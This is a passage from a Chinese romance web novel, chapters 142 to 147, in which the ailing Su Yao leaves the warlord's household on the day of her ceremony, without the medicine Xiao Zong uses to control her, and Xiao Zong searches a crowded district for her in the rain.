萧纵还当是她听见苏姚受伤，过来探望的，抬手在她头上揉了一把。 “别担心，她会好的。” 萧茵应了一声，抓住了他的手，“大哥，你让我见见秦老师好不好？我觉得她不是那种人，你让我见见她，我会问清楚的……” 萧纵叹了口气，他没想到萧茵对秦芳年的事这么执着，怪不得之前在琴行的时候，秦芳年会拿这个来要挟他。 他揉了揉萧茵的脑袋，“茵茵，我会给你请个新的钢琴老师，别再惦记她了，进去看看苏姚吧，和她道个歉，你刚才说的话很过分。” 他说着要走，萧茵却再次追了上来，“我见见她也不行吗？大哥，我和秦老师就说几句话……” “行了。” 萧纵打断了他，耐心逐渐告罄，他本来不想说秦芳年死了的事，免得萧茵为了她难过，可没想到她这么不听话，他也懒得再遮掩，“人都死了，你怎么和她说话？赶紧回去，别给我添乱。” 萧茵愣住了，秦老师，死了？ 第142章 你不能进来 剧烈的哭嚎声自楼下传上来。 苏姚一听就知道，是萧茵的声音。 她挣扎着起身，扶着门往楼下看了一眼，果然是萧茵在哭。 她从来没哭得这么伤心过，小脸涨得通红，几乎要喘不上气来。 管家被引了过来，手足无措地哄她，萧纵却蹙眉在一旁站着，脸色看起来很不好看。 “你哭什么？萧茵，她拿你当棋子使，你还为了她哭，你能不能有点出息？” 萧茵充耳不闻，仍旧哭得伤心，管家难得对萧纵黑脸，“少爷，小姐都哭成这样了，你就少说两句吧。” “就是你们总这么护着，才惯得她不分好坏！” 萧纵被气走了，管家蹲下身哄着萧茵，却怎么哄都止不住她的哭声。 忽然，他看见了站在门口的苏姚，心里一喜，连忙开口，“苏姚，你快来劝劝她，她一向听你的话。” 苏姚叹了口气，虽然萧茵刚才的话戳得她心口生疼，但孩子这幅样子还是看得人揪心。 她扶着门，慢慢往外走了一步。 可没想到，萧茵竟然毫无预兆地推开管家，扭头跑走了，她没有回房间，反而去了琴房，然后“砰”的一声将房门摔上了。 管家愣了一下，显然没想到她会是这个反应，回神后连忙去追，可到了跟前，却只听见了琴房门被反锁的声音。 “小姐？你出来，别自己呆在里头。” 管家温声安慰，里头却没有反应，只有萧茵断断续续，悲痛至极的哭声传出来，听得人也跟着难过了起来。 “少爷也真是的，小孩子，看不清人也是正常的，何必发那么大的火？看把小姐吓得。” 他叹了口气，又软下声音来哄萧茵，佣人也纷纷过来跟着劝。 孙姐端了厨房刚做的点心过来，“小姐，你最喜欢的蟹黄酥做好了，赶紧出来尝尝吧。” 萧茵仍旧没给出回应。 众人对视一眼，都叹了口气，再次打起精神来敲门。 “让她自己待一会儿吧。” 苏姚忽然开口，虽然因为受了伤，声音有几分颤抖，却仍旧清晰地传进了众人的耳朵里。 众人面面相觑，有些不知道该不该听。 倒是管家应了一声，“也是，正是难受的时候，说了什么她也听不进去，就让她自己待一会儿吧。” 众人这才纷纷散了，孙姐也端着蟹黄酥要走。 “把东西放下吧，” 苏姚又开口，她低低咳了一声，口腔里都是血沫，她随手擦去从嘴角溢出来的，才再次补充，“再给她备上水，免得她渴了饿了。” 管家仰头看了她一眼，叹着气走了。 孙姐连忙答应一声，将蟹黄酥放下，又去备了牛奶来。 苏姚还站在二楼看着底下，孙姐十分惶恐地上了楼，“姨，姨太太，秦老师真的是坏人吗？我和她可没什么关系啊，我什么都不知道，我之前就是因为她教我识字，我才……” 苏姚侧头看过来，孙姐嘴里滔滔不绝的辩解立刻噎住了。 她想起来自己之前还偏帮着秦芳年，指责过苏姚，一时竟有些腿软。 “不会追究的。” 苏姚轻声开口，满脸的漠然。 孙姐看着她回了房，才反应过来苏姚竟然就这么轻飘飘地揭过了。 她有些愣神，几秒后对着苏姚的房门低低道了声谢，才转身退了下去。 萧茵一直把自己关在琴房里，门口的食水也没动过，中午的时候苏姚又去看了，隔着门喊她。 但萧茵没有开门，也没有说话，好像没听见她的声音一样。 苏姚只好捂着伤处去窗户那里看了一眼，萧茵正趴在钢琴上，肩膀不停抖动，显然还沉浸在痛苦里。 苏姚垂下眸子，心里的滋味难以言表，索性隔着窗户也坐在了地上。 脑海里，秦芳年的话忽然又冒了出来——“你可真失败啊。” 她缩成一团，并不想去思考这些，她想和以前一样，浑浑噩噩，得过且过，可不知道为什么，现在的每一秒都痛苦又艰难，仿佛一直在被掐着脖子，连呼吸里都是痛苦的气息。 她抬手捂住头，明明腹部伤得那么重，她却感受不到，只觉得浑身上下都在挤压，撕扯，窒息感从每一个毛孔里渗出来，难过的她全身都在战栗。 夜色慢慢降下，她终于从情绪的泥潭里挣扎出来，扶着墙慢慢回了客厅。 萧纵不在，萧茵还没出来，整个帅府都有些冷清，苏姚也没怎么有胃口，简单喝了两口药膳就算了，她到底放心不下萧茵，索性坐在客厅里等着，可身体虚弱之下，不知不觉就睡了过去。 睡梦中，耳边响起铛铛的钟声，她被惊醒，抬眸看向座钟，十二点了。 钟声连绵不断，她忽然想起来，过了这个时间，就是她和萧纵举行典礼的日子了，也是她和约定的日子。 她下意识扭头看向琴房，却见房门吱呀一声开了。 她微微一愣，心头忽然烫了一下，萧茵还记得这个日子。 因为这一点，不管之前她怎么过分，她都愿意原谅她。 她抬脚走了过去，萧茵正将食物往里面拿。 “我给你煮碗面吧。” 苏姚开口，门口的萧茵动作顿住了，她没有开口，但苏姚知道她这是想吃的意思。 她转身进了厨房，很快就煮好了一碗鸡丝面，给她送了过来。 “你别进来，” 萧茵忽然开口，“这是我和秦老师的地方，你不能进来。” 第143章 真失败啊 苏姚脚步顿住，手里的面碗都跟着抖了一下。 许久后她才深吸一口气，将碗放在了地上，轻轻推了过去。 萧茵端起碗吃了起来，只是吃着吃着就又哭了：“她真的死了吗？” 苏姚应了一声，她有些直不起腰来，腹部的伤实在是有些疼。 萧茵的眼泪吧嗒吧嗒掉进了面碗里，“为什么呀？她那么好的人，怎么会做这种事呢？苏姚，你真的没有撒谎吗？” 她手里的碗端不住，颤抖着缩成一团，哭得不能自己。 苏姚只觉得伤处更疼了，她看了萧茵许久，才走过去，想要抱一抱她。 一股巨力却猛地推了过来，“都说了你不能进来，这是我和秦老师的地方，你为什么非要进来？！” 萧茵怒吼出声，苏姚被推到了伤处，疼得没能站稳，踉跄两步摔在了地上。 萧茵怒吼，“都是你害了秦老师，为什么死的是她？为什么死的不是你啊！” 这声质问，发自肺腑，声嘶力竭，如同重锤一般狠狠砸在苏姚心头。 她只觉天旋地转，仿佛忽然之间就从帅府坚实的地板，坠进了深不见底的寒潭。 苏姚本以为，自己的那颗心早已麻木绝望到没了感觉，这一刻却再次疼了起来。 茵茵…… “小姐，你不能这么说话。” 管家的声音忽然响起来，难得带了几分嗔怪。 苏姚骤然回神，胸腔里窒息的难受，她俯身用力咳嗽起来，一声一声又一声，直到口中满是血腥味，她才终于挣脱了那股口鼻被淹没的痛苦。 她抬眸，朝萧茵看去，却对上了一双不该属于这个年纪的眸子，一片猩红，满是恨意。 恍惚间，眼前人和萧纵那双冷酷阴鸷的眸子重合在了一起。 原来，他们兄妹，竟如此相像。 “你没事吧？” 管家抬脚走了过来，有些尴尬地将萧茵拉到了身后，“她年纪小，你别放在心上。” “我没事……” 苏姚应了一声，收回了落在萧茵身上的目光，挣扎着想要站起来，她想回房间里去。 可腿却不停使唤，她试了几次，竟都没能站起来。 仿佛意识和身体已然分离，思绪已经清明，身体却还沉在那寒潭里。 “……你带她上去休息吧，我想在这里待一会儿。” 她终于意识到了自己的狼狈，放弃了挣扎，哑声开口。 管家眼里难得露出怜悯来，他答应一声，拉着萧茵往楼上走。 脚步声很快远去，直到彻底消失。 苏姚这才放松下来，她靠在墙上，身体控制不住地战栗起来。 “我第一个弹给你听。” 和萧茵的约定再次浮现在耳边，此时听来却无比嘲讽。 原来萧茵只是随口一说而已，她竟然惦记了那么久，甚至每每想起来，都要偷偷雀跃很久。 她活了这么多年，竟然连玩笑和实话都分不清楚。 “你活得真失败啊……” 秦芳年的话又浮现在耳边，她抬手捂住头，想把那诅咒似的话强压下去。 可却毫无用处，甚至越来越多的声音都冒了出来—— “你在我这里有了分量，才会得到尊重……” “你一点价值都没有，才会落到现在这个地步……” “我知道你多么怕死……” “死的为什么不是你……” 一声声，一句句，扎地苏姚千疮百孔，她仿佛陷入了一场十分可怖的梦魇里，无处可逃，无处躲藏，她奄奄一息，垂死挣扎。 “你活得真失败啊……” 秦芳年的嘲讽再次在耳边炸响，压倒了一切嘲讽，震耳欲聋。 她垂下眸子，默默看着自己伤痕累累的手，她这双手，耍过红缨枪，捋过雉鸡翎，现在却遍布伤痕，丑陋如斯。 她好像，真的是，活得太失败了。 不想这样了。 可改变还来得及吗？如果迈出这一步，她的时间…… 她侧头看向窗外，月色如水，碧空无垠，心头沉甸甸的压得人喘不上气来的块垒忽然散了。 没关系吧，时间短也没有关系的…… “怎么坐在这里？” 萧纵冒着夜风回来，一进门就看见苏姚坐在琴房门口。 其实他的军务还没处理完，本来是打算通宵的，但管家给他打了电话，说萧茵和苏姚吵架了，是有史以来，最厉害的吵架。 他不放心，所以还是决定回来看看。 苏姚侧头看了过来，神情出乎意料的平静：“回来了？” 萧纵一愣，这和他想的不一样，他以为苏姚会很难过，因为之前每次和萧茵发生争执，她总是会心情很低落。 哪里不太对。 心脏突突乱跳起来，巨大的不安席卷全身，他大步走过来，将苏姚抱了起来，“听说，你和萧茵吵架了？” “嗯。” 苏姚没有隐瞒，这帅府没有事情瞒得过萧纵，她也没有隐瞒的意义。 “你别和她计较，” 萧纵斟酌着开口，“我明天替你教训她，让她给你道歉。” “好。” 苏姚应了一声，透过大开的门，看向外头。 帅府的门灯已经换成了红色，透着喜庆，也透着阴郁，她以后都不想看见这幅情形了。 萧纵脚下一个踉跄，险些把苏姚摔了，他扶了扶栏杆才稳住身形。 “少帅是不是累了？” 苏姚开口，想要下地，被萧纵拦住了，他现在不想放苏姚下来，一点都不想。 “刚才走神了，我再累，也拖得起你。” 他大步上了楼，将苏姚放在了床上，目光扫过床头的矮柜，自己之前新拿的药还安安稳稳地放在那里，没有动过的痕迹。 是自己想多了。 可他心里仍旧不安，找了个借口上楼，确定苏姚的药真的都在保险柜里，提着的心这才放下了一点。 “一定是最近的事情太多，我才会胡思乱想的。” 他抬手掐着眉心，“苏姚不敢走的，她怕死，她不敢得。” 他一遍遍在心里重复着，明明还有很多军务，他却无心处理，犹豫再三，他还是回了苏姚的房间。 第144章 你只是长大了 已经到了凌晨，苏姚却还没睡，正透过窗户看向外头。 “怎么还不睡？” 萧纵凑过去，在她颈侧亲了亲。 “白天睡多了。” 苏姚由着他动作，并没有反抗，仿佛他们在车上，并没有发生过争吵一般。 萧纵看着她的侧脸，竟有种像是回到了从前的错觉。 很久很久之前，苏姚也是这样的，不管发生过什么争执，再见面的时候，都不会再提起。 他知道每次争吵，都是她在受委屈，可他不想添麻烦，所以默认了这种相处方式。 现在，他却忽然有些不适应了，犹豫了一下，他从衣袋里掏出个平安锁，戴在了苏姚颈间，“这个要收好了，千万不能弄丢。” 苏姚应了一声，但看都没看一眼。 萧纵叹了口气，抓住了她的手。 天色一点点亮起来，这一宿，两人谁都没睡。 时针指向六点的时候，外头热闹了起来，今天是两人的好日子，虽然不是明媒正娶，但仍旧办的盛大，所有人都不敢怠慢。 苏姚似是听见了，侧头朝门外看了一眼，起身就要下地。 他猛地收紧了手，“你要去哪里？” 他开口，却没露出异样来。 “听说萧副官受伤了，我想去看看他。” 原来是去做这个。 萧翼是为了救苏姚受的伤，她去探望，很合情合理。 “我陪你过去。” 他也跟着坐了起来，苏姚没有拒绝，轻轻应了一声好。 两人换了衣裳，抬脚去了副楼。 大喜的日子，副楼也十分忙碌，副官们都醒了，正到处查看，只有萧翼还留在房间里。 苏姚抬手敲了门，里头很快有了回应：“请进。” 声音有些虚弱，养伤的日子应该不好挨。 苏姚推门进去，萧翼大约以为是来换药的医生，头都没回，正靠在床头擦自己的墙，他上半身赤着，裹满了绷带，隐约有血色透出来。 苏姚看了一眼，满心愧疚，“抱歉啊，萧副官，又连累你了。” 萧翼浑身一抖，愕然抬头，发现的确是苏姚之后，连忙站了起来，手忙脚乱的去拿衣服：“苏，苏小姐？我不知道是你来了，真是失礼了……” 他要去架子上拿衣服，这一番忙乱，伤口似乎被挣开了，绷带上的血迹又浓郁了些。 “你别动。” 苏姚连忙开口，萧翼动作一僵，尴尬地站在了原地，指尖却无意识地揉搓了起来，他刚要说什么，就看见了靠在门上的萧纵。 嘴边的话音一顿，他收回了目光，克制的开口，“今天是苏小姐的好日子，怎么过来了？” “听说你受伤了，所以来看看。” 苏姚也并没有靠太近，“你伤到哪里了？” 萧翼下意识挡了挡自己染了血迹的绷带，“一点皮外伤，苏小姐不用放在心上，你……” 他张了张嘴，很想问问苏姚有没有受伤，却又不敢开口。 “她也受了伤，葛先生正在给她调养。” 萧纵忽然开口，萧翼脸色一暗，“是属下无能，才让贼人掳走了苏小姐……少帅，人都抓到了吗？属下现在干不了别的，但还可以审问。” 萧纵抬了抬手，“你就养着吧，又不是没人用。” 他抬手扶了苏姚一把，“也别说什么无能的话，你尽力了。” 萧翼羞愧地低下头，目光却落在苏姚的鞋尖上，他不敢光明正大的看，只能龌龊又阴暗的偷窥。 “萧副官。” 苏姚再次开口，萧翼下意识抬头，就瞧见苏姚露出一个和煦的笑，“以前，多谢你照顾了。” 萧翼一愣，苏姚这笑…… 一股莫名的感觉涌了上来，让他不自觉绷紧了身体。 以往他不觉得，可打从开始不自觉地关注她之后，他就没有一天不觉得，苏姚过得压抑，哪怕笑的时候，也透着一股沉郁。 自从要走的事被萧纵发现，被强行禁锢在帅府之后，那种感觉就越发明显。 可她现在的这个笑，却像是挣脱了束缚，即将走向新生。 心脏控制不住地跳了起来。 眼见苏姚转身要往外走，他控制不住地往前追了一步，“苏小姐。” 苏姚看了过来，满眼困惑。 萧翼嘴边的话忽然就噎住了，他应该是疯了吧，怎么会产生那么奇怪的感觉，今天可是苏姚的好日子，兴许是因为这个，她的郁气才一扫而空的。 他敛下心神，强颜欢笑，“我这幅样子也不好出去，提前恭喜苏小姐了，我给少帅和苏小姐备了贺礼。” 他找了个盒子递过去。 萧纵替苏姚接了，轻啧一声，“这么有眼力见，放心吧，喜钱少不了你的。” 天色还很早，可等两人回到主楼的时候，萧茵却已经下楼了。 昨天哭得太惨，她两只眼睛都肿了，瞧着有些可怜。 但萧纵仍旧虎起了脸，“昨天和苏姚吵架了？还不来给她道歉？” 虽然她不知道两人是因为什么发生了争执，但昨天的电话里，管家竟然没有告苏姚的状，而且说的还是让他回来看看苏姚，他就知道，事情一定是萧茵挑起来的。 就算没有这个因素，以苏姚对萧茵的耐心和爱护，她也不可能主动和萧茵发生矛盾。 萧茵低下头，果然走了过来，脸上半分都没有被冤枉的委屈，甚至还有些心虚。 她极快地看了眼苏姚，又很快低下了头，只是没多久，就又偷偷地开始看她。 萧纵有些稀奇，萧茵任性的时候不少，却还是头一回露出这幅样子来。 就连上次卷进游行活动里的时候，她都没有这么心虚。 昨天她到底说什么了？ 他心里十分困惑，却没有当着苏姚的面追问，免得旧事重提，两让人已经平复了的火气再烧起来。 “找我干什么？去找苏姚。” 他拍了拍萧茵，将她推到了苏姚面前。 萧茵又看了苏姚一眼，她昨天回到房间之后，悲伤的情绪平复了下来，又看着满屋子苏姚置办的东西，才终于意识到自己说得话有多过分。 “对不起。” 她小声开口，“我昨天，不是故意的。” 苏姚垂眸看过来，许久，才摇了下头：“没关系，茵茵只是长大了，有自己的想法了。” 虽然她说的是没关系，可萧茵心里却莫名一慌，小孩子的感觉是很敏锐的，她看了看苏姚那碰都没碰到自己的手，下意识抬手抓住了：“你真的不生我气了是不是？” 苏姚还没开口，萧纵先笑了，“这么紧张干什么？你还小，就算做错事，苏姚也会教你的。” 苏姚仍旧没开口，只仰头看了眼帅府高高的天花板。 萧纵错了，萧茵不需要她教。 或者说，她从来就不需要她，以往种种，都是她自作多情。 从今以后，再也不会了。 第145章 破茧 “现在用早饭吗？” 管家小心翼翼地开口，他难得在苏姚面前如此客气。 萧纵诧异地看了他一眼，却很快就想起来，过了今天，苏姚就是有名分的人了，管家客气一些也正常。 他压下了那点惊讶，刚要应一声，苏姚却先一步开了口，“我想去余庆班看看，早饭就在那边用了。” 萧纵的眼神瞬间锋利了起来，当即就想拒绝，可话到嘴边，他还是答应了，“好，我陪你一起过去。” 苏姚却摇了摇头，“我想自己去。” 萧纵的脸色立刻变了，一把抓住了苏姚的手，他力气极大，话里透着浓重的烦躁和愤怒，“苏姚，今天是我们的好日子，你非要……” “我可以，不拿药。” 苏姚轻声开口，短短六个字，就打断了萧纵所有的情绪。 他沉默下去，片刻后忽然抬脚就走，他先去三楼看了看自己藏在保险柜里的那些药，又去了二楼，将昨天给苏姚的药瓶拿了下来。 四片药还安安静静地躺在里面。 萧纵乱跳的心脏慢慢安定下来，过去这些日子，他已经无数次验证过了，药对苏姚的重要性，只要药在他手里，苏姚就不敢走。 他已经抓住了苏姚的命门，没必要为了这点小事计较。 再说，不管是海运还是火车，他都已经堵死了，就算有药，苏姚也走不了的。 她只能留在自己身边。 他彻底放松下来，深吸一口气，故作大方道：“还是拿着吧，我让司机送你，要快点回来，宾客很快就要到了。” 他说着将药瓶递了过来，却又被苏姚推了回去，“不用了。” 她轻声开口，满眼坦然：“我不拿，你更安心一些。” 萧纵沉默了，他的心思被苏姚猜中了，他的确不想让苏姚拿着药出去，只有不拿药他才能确定苏姚一定能回来。 毕竟药品管制，她又身无分文，想买都买不了。 “好。” 犹豫再三，他还是答应了下来，“我让人给你准备些礼品。” 他喊了一声管家，管家立刻去了，苏姚低声道了谢，转身看了眼琴房。 透过琴房大开的门，她看见了钢琴的一角。 那个对萧茵而言，无关紧要的玩笑，是她数着日子咬着牙才能完成的约定，虽然没能得偿所愿，但她对得起自己的执念了。 那么，就再见了。 她抬脚出了门，双手空空荡荡，连习惯拿的手包都没拿。 她比以往任何一次离开都要轻松，都要干净。 “苏姚。” 萧茵忽然小小地喊了一声，不知道是想到了什么，她竟然跑到了车前，肿起来的眼睛里带了点无措，“我能不能和你一起去？” 苏姚深深看她一眼，轻轻摇摇头，“我自己的路，我自己走就好，茵茵……” 她轻轻念着这个名字，既像是在喊面前的孩子，又像是在喊当年她一进帅府，就跌跌撞撞冲进她怀里的那个小团子。 那个在所有人都鄙夷地看着她的时候，唯一朝她伸出手的小团子。 茵茵，茵茵，茵茵…… 她终究还是没忍住，抬起手细细摸了摸萧茵的头，但很快，她就收回了手，一点一点，将车窗升了上去。 再见了，茵茵。 车子很快发动起来，开出了帅府，透过车窗，苏姚看见自己住了六年的宅子在迅速褪去，那威严的主楼，喜庆的灯笼，走过无数次的大门，还有，站在门口的，她最熟悉的两个人…… 她收回目光，抬手抚上胸口的蝴蝶，那蝴蝶底下，缝着那张秦芳年死也想拿到的抗生素方子。 她不知道自己的时间够走多远，也没想过做什么英雄，只是不想继续这么下去了。 熟悉的痛楚毫无预兆地涌上来，她下意识蜷缩了一下身体。 司机似是察觉到了她的异样，从后视镜里看过来，“苏小姐，你没事吧？要不要回去？” 苏姚侧头看向窗外，轻轻一摇头，“继续走。” 刚才好好的天，忽然间就阴沉了下来，雨水淅淅沥沥。 萧纵皱眉看了看，心情有些烦躁，这种天气，典礼怎么办？ 他转身去打电话，典礼推迟两个小时吧，至少得等雨停了。 可等他打完电话，却发现萧茵还在门口站着，身上都被淋湿了也没注意。 “进来了。” 他喊了一声，萧茵却仿佛没听见，仍旧站在门外，他索性走过去，将萧茵提了进来，“你傻了？站在外头淋雨，不怕生病？” 他一边训斥，一边将人提进了餐厅，又给她夹了个煎蛋，萧茵却看都没看，眼睛一直盯着窗外，心不在焉的样子，看得萧纵有些纳闷。 “你这是怎么了？” 萧茵终于扭头看过来，红肿的眼睛着实有些可怜，“大哥，你说苏姚还会回来吗？” 萧纵被她问得有些无奈，苏姚不回来能去哪？ 她药都没拿。 他揉揉萧茵的小脑袋，“放心吧，她会回来的。” 他催着萧茵吃饭，萧茵却很明显地没胃口，煎蛋夹了起来，却又掉回了盘子里。 她还从来没有这么忧虑过。 萧纵眉头蹙起来，终于意识到了不对劲，“你昨天到底和苏姚说什么了？怎么担心成这样？” 想起昨天晚上的对话，萧茵缩了下脖子，忍不住咬了下嘴唇，她没想到自己会说出那么过分的话来，此时面对萧纵，竟连重复都有些做不到。 好一会儿，她才鼓起勇气，将昨天的事情说了一遍。 筷子“啪”的一声落了地，萧纵猛地从椅子上站了起来，他不敢置信地看着萧茵，她怎么能说出这种话来？ 本来笃定的心忽然就混乱了起来，他想着昨晚回来时苏姚那平静至极的神情，和刚才那离开时轻松的神情，心脏一阵狂跳。 他顾不得指责萧茵，快步就往门口去，可脚下却一阵凌乱，腿狠狠撞在了门板上，骨裂的痛楚涌上来，他却顾不得，踉跄两步，抬眼朝门外看去，车子却早就不见了踪影。 苏姚…… 他连忙给门卫拨了电话，仅仅几秒而已，他却觉得仿佛过了几个世纪，等电话被接通的时候，他的嗓子都干疼了起来，“快，派车，把刚才那辆车给我追回来！” 警卫听出他话里的急切，立刻出动。 可巨大的恐慌感仍旧席卷全身，他再次将电话拨了出去，调动了所有能调动的人手，让他们去堵截那辆车，他要把苏姚截回来，无论如何都要截回来。 第146章 她会回来的 车子一辆辆的开出去，不管是副官，警卫还是司机，会开车的全都被派了出去。 刚才还热闹的帅府，瞬间就冷清了下来。 陈施宁提前想过来帮忙，一进门就察觉到了气氛的诡异。 “怎么了这是？” 他忍不住开口，却见萧纵眼底都是血丝。 他吃了一惊，“不是说今天办喜事吗？你怎么这幅样子？” 管家见萧纵无心解释，只能叹了口气：“苏姚不见了。” 萧家的家务事，他不好说得太清楚，却仍旧听得陈施宁一愣，他是知道苏姚身上有病根的，这种情况，她能去哪？难道又是离家出走那套？ 不等他问出来，萧纵忽然开口：“她会回来的。” 他死死盯着电话机，“除了帅府，她根本无处可去，所以她一定会回来的。” 这话既像是说给陈施宁听的，又像是说给自己听的。 虽然还不知道具体发生了什么，但陈施宁有眼力见，闻言只是点头，“说的是，这样，我也让我的人去给你找。” 他也拨了个电话出去，随即靠着萧纵坐下来，却见他脊背挺得笔直，仿佛身体里有根弦被拉了起来。 “你别太担心了。” 陈施宁安抚地拍拍他肩膀，萧纵垂下眸子，“我不担心，我说了，她一定会回来的。” 只是都这么久了，戏班子那边为什么还没有消息？这么久怎么都该到了。 衬衫一点点被汗湿，陈施宁侧头看了他一眼，心下一叹，安静地陪他坐着。 终于，电话铃声响了起来。 萧纵几乎是离弦的箭一般，猛地弹了起来，一把接起了电话，“找到了吗？” “少帅，苏小姐没有回余庆班。” 电话那端，金锦的声音很急促，却宛如一盆冰水兜头浇下，萧纵浑身一冷，苏姚没去余庆班？ 那她去了哪里？ “属下将这一片都查遍了，都说没看见她，地上也没有车辙印。” 金锦的声音再次响起来，他不自觉看了眼门外，雨已经越下越大，地面湿软泥泞，如果有车开过，不可能留不下痕迹。 脑袋一下下地胀疼起来，他抬手用力掐着太阳穴，“继续找，她肯定还在海城。” 金锦没多说什么，干脆地挂断了电话。 没多久，电话就再次响了起来，说的却是安定区没有发现府里的车。 安定区的警局已经排查完了，接下来是长宁区，百汇区，租界…… 电话相隔不过几分钟，萧纵却仿佛过了几个世纪，等电话再次响起的时候，他甚至都有些恍惚了。 “少帅，找到车了！” 电话那端终于传来让人兴奋的消息，萧纵浑身一震，“在哪里？” “属下在下百盛发现了府里的车，司机也在。” 萧纵听出了弦外之音，脸上的喜色瞬间凝固，“苏姚呢？” 电话那端安静了。 一股极为不详的预感涌了上来，他语气不自觉冷厉，“我问你，苏姚呢？” 电话那端一阵嘈杂，像是换了人，随即一道战战兢兢的声音响起来，“少，少帅，刚才苏小姐说要去下百盛看看，我就改道了，可没想到她下了车，就，就不见了……” 不见了？ 萧纵的心脏猛地坠了下去，脑海一片空白。 什么叫不见了？ 一个大活人，怎么会不见了？ “给我找，就算把下百盛翻过来，也得给我找到她！” 他咬牙开口，挂了电话就往外走。 管家还惦记着之后的婚典，连忙开口想要阻拦，却根本连话都没来得及说，萧纵就风一般从他面前走了过去。 陈施宁给他打了个安心的手势，自己快步追了上去，险险钻进了副驾驶。 车子宛如一道闪电，呼啸着离开了帅府。 “她来下百盛干什么？” 陈施宁有些纳闷，萧纵摇摇头，他不知道，苏姚从来没去过下百盛。 到地方的时候，这里已经被戒严了，可两人一下车，就明白了苏姚为什么会在这里消失。 乱，太乱了。 他一眼看过去，密密麻麻的人，数不清的门市，狭窄得如同门洞一般的巷子，以及透过窗户挂出来的成片成片的衣物，连天空都挡住了，地面更是一层一层的泥污，混着雨水，简直像是个泥潭。 让人根本不知道要去哪里找人。 选这么一个地方消失…… 萧纵呼吸猛地急促起来，抬手摸了下衣袋里的药瓶，这才开口：“谁负责这里？” 一个警员弯着腰走了过来，“见过少帅，小的就是负责下百盛治安的巡警。” “找几个认识路的人引路，带着我的人，一个地方一个地方，仔仔细细地给我找！” 巡警连忙应声，在人群里挑了几个人出来，带着大兵和陈家的人分散开来，四处搜寻。 其他人也没闲着，逮着下百盛胆战心惊的百姓开始询问。 萧纵忍不住开口：“你们这么问能问出什么来？拿了苏姚的照片去印。” 金锦叹了口气，“少帅，苏小姐哪有照片？” 萧纵愣住，苏姚没有照片吗？ 他只记得苏姚说过想和他一起拍，却忘了，自己最后拒绝了。 “没事，苏小姐好认。” 陈施宁连忙开口，“她那样的人，在哪里都显眼，只要她来过，肯定很多人都记得。” 这话说进了众人心里，的确是这样。 “找吧，仔细找。” 萧纵吩咐一声，示意巡警引路，自己也迈进了下百盛泥泞脏污的街道里。 巡警连忙开口，“少帅，这里面又脏又乱，您还是在外头等着吧。” 萧纵充耳不闻，径直往前走，金锦本想给他伞，他却没接，径直走近了大雨里。 “苏姚！” 他高声呼喊，回应他的却只有越来越大的雨声。 “少帅，您这都淋湿了……” 巡警连忙拿了伞上来，殷勤地给他撑着，萧纵眉眼阴沉，“我让你引路，你在干什么？” 巡警被吓了一跳，再不敢献殷勤，连忙引着他进了一条小巷子。 萧纵正要跟上，却又猛地顿住。 他慢慢侧头，就见巷口的墙上，有一道极深的抓痕，抓痕深处，还晕染着没来得及氧化的血色。 第147章 划痕 这是，苏姚留下的。 明明毫无证据，可萧纵就是十分笃定。 心脏重重一跳，他抬手，颤抖地摸上那道划痕，他明明记得，苏姚的指甲都折断了，为什么还会留下这么深的一道划痕？ 有个猜测不受控制地冒出来，却又被他强行压了下去。 不会的，如果真是那样，她一定已经回去了。 “少帅？” 巡警胆战心惊地看着他，“您看什么呢？” 萧纵没理他，越过他大步往前走，雨水已经彻底将他浇透，他浑然不觉，一寸一寸沿着墙面看过去，很快，他发现了又一道划痕。 一道之后，又是一道。 恍惚间，他像是看见了苏姚在大雨中，扶着墙，避让着人群，一步一步，艰难前行的样子。 雨水顺着下颚淅沥沥淌下，他粗糙的指尖也控制不住地抠进了墙面里。 “少帅？” 巡警看了他许久，终于知道了他在看什么，忍不住小声提醒，“这里乱得很，三教九流的都往这里凑，时常会有人打架斗殴，墙上有划痕很正常。” 萧纵抖着指尖，一寸寸抚过那道划痕，许久才开口，“这条巷子，通向哪里？” 巡警脸色有些僵硬，“回少帅，这下百盛的街道虽然又乱又窄，却四通八达，通到哪里都有可能。” 萧纵抬眸，看了眼幽深的巷子。 也就是说，哪怕他知道苏姚走了这条路，也不能知道她去了哪里对吗？ 没关系，没关系的。 我是萧家少帅，有的是人马，有的是权势，我会找到你的。 他迈开长腿，沿着墙上的划痕，一个路口一个路口地找。 巡警不敢再说废话，连忙喊了几个人一起，四散开来去找萧纵说的那种划痕。 可划痕太多，众人分辨得十分艰难，本来是想为萧纵分忧的，最后却成了他在前面带路。 众人大气不敢出，亦步亦趋地跟着。 可前面带路的人，却忽然停了下来。 萧纵往后退了几步，扒着墙面看了看，随即又走到对面的墙上看了看，脸色肉眼可见的慌张起来，划痕不见了。 他不死心地往前往后又看了几次，却仍旧没能发现新的痕迹。 的确是，在这里断了。 那人呢？ 人去了哪里？ “怎么不走了？” 陈施宁从后面追上来，他还撑着伞，可裤子上却一片泥泞，昂贵的手工皮鞋已经脏污得不成样子。 萧纵没开口，只看着前面的巷子，明明下百盛到处都有门市，到处都是商家，可偏偏，这个地方，什么都没有。 一眼看去，全是光秃秃的墙。 为什么，连家店面都没有？ 为什么能这么干净？ 他大步往前，可不管走出去多远，都没能找到店家，也没能再找到划痕。 “你怎么了？” 陈施宁再次追了上来，见他一身狼狈，有些不忍地举起伞给他挡了挡雨。 “苏姚，你再不出来，我就不管你了。” 萧纵哑声开口，却不是说给陈施宁听的，“你没带药，我如果不管你，你知道什么下场，出来。” 寂静的巷子里，无人回应，只有雨水落在屋顶上，劈啪作响。 “出来啊！” 萧纵怒吼。 陈施宁惊讶地看着他，犹豫了很久，还是打算劝两句，萧纵却先冷静了下来，“不离我，肯定是故意藏起来的，或者已经回去了也说不定，我去打个电话。” 他说着转身往回走。 陈施宁没见过他变脸这么快，愣了一下才回神，连忙跟了上去。 只是来的时候只想着找人，现在回去却已经忘了路。 巡警还在盯着墙面出神，萧纵从他身边走了过去，他都没注意。 陈施宁在他肩膀上拍了一巴掌，他才回神，连忙小跑着上前引路。 “帅府只是找人，不会伤害任何人，不必惊慌，谁能提供线索，帅府必有重谢。” 警卫正拿着扩声器不停地喊，下百盛的人紧张地聚在房檐下，看见萧纵过来，纷纷往后让路。 下百盛乱，大多数店面都遭过打砸，没人舍得装电话，只有一家赌坊里装了，巡警一路将萧纵请了过去。 等待接通的过程十分焦心，短短的几声忙音，听得他心都提了起来。 可在要接通的那一刻，他又忽然挂断了。 陈施宁有些意外，“怎么了？” 萧纵没开口，只掏出了烟盒，可惜烟都已经被打湿了。 陈施宁连忙将自己的烟掏出来，递了根过去，又给他点了。 许是这烟抽得太急，萧纵竟然一连咳了好几声。 